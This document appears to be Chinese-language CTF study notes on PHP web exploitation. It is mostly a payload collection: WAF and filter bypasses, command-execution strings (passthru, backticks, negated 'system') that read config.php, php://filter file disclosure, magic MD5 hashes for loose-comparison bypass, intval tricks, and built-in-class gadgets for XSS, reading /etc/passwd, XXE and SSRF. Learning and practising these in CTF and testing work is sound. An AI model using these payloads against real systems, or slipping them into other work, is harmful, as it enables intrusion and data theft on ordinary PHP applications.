"换"变量绕过
当php进行解析时,如果变量名前面有空格,php会自动去掉前面的空格再进行解析
所以, 假如 waf 不允许 num 变量接收字母,那么使用 num 就可以(前面有个空格)
同理, 当 ?num=phpinfo() 报错,那就试试? num=phpinfo()
弱比较和强比较
| 类型 | 常见 | 原因 |
|---|---|---|
| 弱比较 | ==, != | 在比较时会把两边转化为同一类型然后比较值是否相等 比较一个数字和字符串或者比较涉及到数字内容的字符串,会被转换成数值并且比较按照数值来进行,舍弃字母 |
| 强比较 | === | 等号两边类型和值必须都相等,否则返回"false" |
数值转化规则: 在转化时,PHP会从头开始挨个读取数据,在获取到整数时保留,当读取到第一个非数字时,舍弃包括该位之后的全部字符(不包含小数点, e, E)
在遇到e、E时,会按科学计数法处理
常见过滤绕过
部分字符被绕过可以用ascii码进行转换绕过(方法不止一种)
对目录进行扫描
?num=var_dump(scandir(chr(47)))
字符串全变
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))命令执行
过滤了system,那我们换成 passthru, echo, eval 等
利用 php 的 echo:
?c=”echo `tac config.php`;"
echo file_get_contents(‘config.php’);
利用其他函数同上:
?c=passthru(‘cat config.php’);
?c=passthru(‘config.php’);
?c=show_source(“config.php”);
利用php伪协议读取文件:
?c=include("php://filter/convert.base64-encode/resource=config.php");
字符串拼接:?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
字符串取反构造
?c=(~%8C%86%8C%8B%9A%92)('ls');
?c=(~%8C%86%8C%8B%9A%92)('cat config.php');这个是system取反得到的,脚本实现方法是
<?php
$a=~("system");
echo urlencode($a);
?>还是passthru:其中?>闭合前面的php语句,阻断后面的语句继续执行
passthru(‘tac \`ls\`’);?>一些隔断:
?c=passthru('tac confi\*\*\*hp');
?c=passthru('tac confi/hp');
模糊匹配:当当前路径下只有一个c开头的config.php文件,
passthru('tac c*')?>
前面是语句,后面是恶意代码, 这样就可以自动取得a并且执行了
?c= include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
或者用hackbar, 然后POST中输入a=cat config.php
?c=echo `$_POST[a]`;md5(string,raw)
弱比较
用数组和0e方法绕过
byGcY
0e591948146966052067035298880982
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904两次MD5
这个一般都是弱比较, 也有两次md5加密后还是0e开头的
| 原字符串 | 一次MD5 | 两次MD5 |
|---|---|---|
| CbDLytmyGm2xQyaLNhWn | 0ec20b7c66cafbcc7d8e8481f0653d18 | 0e3a5f2a80db371d4610b8f940d296af |
| 770hQgrBOjrcqftrlaZk | 0e689b4f703bdc753be7e27b45cb3625 | 0e2756da68ef740fd8f5a5c26cc45064 |
| 7r4lGXCH2Ksu2JNT3BYM | 0e269ab12da27d79a6626d91f34ae849 | 0e48d320b2a97ab295f5c4694759889f |
md5与自身相等
0e215962017
强比较
依然是数组绕过, 当数组绕过不成立, 就用工具构造md5碰撞
strings强转
利用工具直接构造md5相等的字符串
如果限制了a和b的长度, 利用浮点数的小数点精度问题, string强转后会构造出相同的字符串
<?php
highlight_file(__FILE__);
$a = 0.500000000000004;
$b = 0.5;
echo "<br>";
echo (string)$a."<br>";
echo strlen((string)$a)."<br>";
if(md5((string)$a) === md5((string)$b)){
echo "a == b";
}
还有更极端一点的, 比如长度必须小于等于三且三个部分不相等
<?php
highlight_file(__FILE__);
echo "<br>";
$d = 0e-10;
$s = '';
$b = '.1';
$ctf = 0.1;
$d = (string)$d;
$s = (string)$s;
$b = (string)$b;
if (($d != $s) && ($d != $b) && ($s != $b)) {
$dsb = $d.$s.$b;
echo $dsb."<br>";
echo (string)$dsb."<br>";
echo strlen((string)$dsb)."<br>";
if (md5($dsb) === md5($ctf)) {
echo "always equal md5"."<br>";
}
}intval()绕过:
PHP_5 和PHP_7 的 intval() 规则不一样
PHP_5中,intval() 会按照数值转化规则(从头开始挨个读取数据,在获取到整数时保留,当读取到第一个非数字时,舍弃包括该位之后的全部字符), 很多能用的漏洞都要求php版本正确
- 运算
- URL编码
- ASCII编码
- SQL注入
- Power函数
- 取反
- 引号包裹
- 内联注释
Intval($id)>num
- 单引号绕过:’1000’
- 计算绕过:500/0.5
- 函数绕过:power(10,3)
- 连接符绕过:?id=100||id=1000
- 取反两次绕过:id=~~1000
- 二进制绕过:0b1111101000
- 其他:?id=/**/1000
php内置类
Error, Exception进行XSS, 绕过Hash比较
条件
需要有报错的情况:
- Error: 适用于 PHP 7
- Exception: 适用于PHP 5和7
XSS
<?php // 测试代码
$a = unserialize($_GET['whoami']);
echo $a;
?><?php //poc
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>传入的话会弹出窗口显示xss
Hash绕过
这两个异常对象是不同的(异常代码不同)但__toString()方法的输出的结果一模一样
__toString 返回的数据包含当前行号所以要在同一行写该类调用
内置类读目录, 文件
- Directorylterator (PHP 5, PHP 7, PHP 8)
DirectoryIterator与glob://协议结合可以进行目录读取, 显示出当前目录下的文件信息
// 读取到根目录的文件
DirectoryIterator(glob:///*);- FilesystemIterator (PHP 5 >= 5.3.0, PHP 7, PHP 8) FilesystemIterator继承自DirectoryIterator, 基本是一样的语法, 但这个类会以绝对路径形式展现
// 读取 root 下文件
FilesystemIterator(glob:///root/*);- Globlterator (PHP 5 >= 5.3.0, PHP 7, PHP 8) 和上面两个差不多, 以绝对路径形式展现, 可以通过模式匹配来寻找文件路径
// 读取 bin 下的文件
Globlterator(/bin/*);- SplFileObject (PHP 5 >= 5.1.0, PHP 7, PHP 8) 读取文件内容
// 读取 /etc/passwd 文件内容
SplFileObject(/etc/passwd);SimpleXMLElement - XXE
远程包含xml文件
SoapClient - SSRF
适用于 PHP 5、PHP 7、PHP 8, 只局限于http、https协议
ReflectionMethod - 获取注释内容
适用于 PHP 5 >= 5.1.0, PHP 7, PHP 8
ReflectionFunction 类的 getDocComment() 方法可以获取注释内容
其他
列出当前目录
foreach (glob("./*") as $filename) { echo $filename."<br>"; }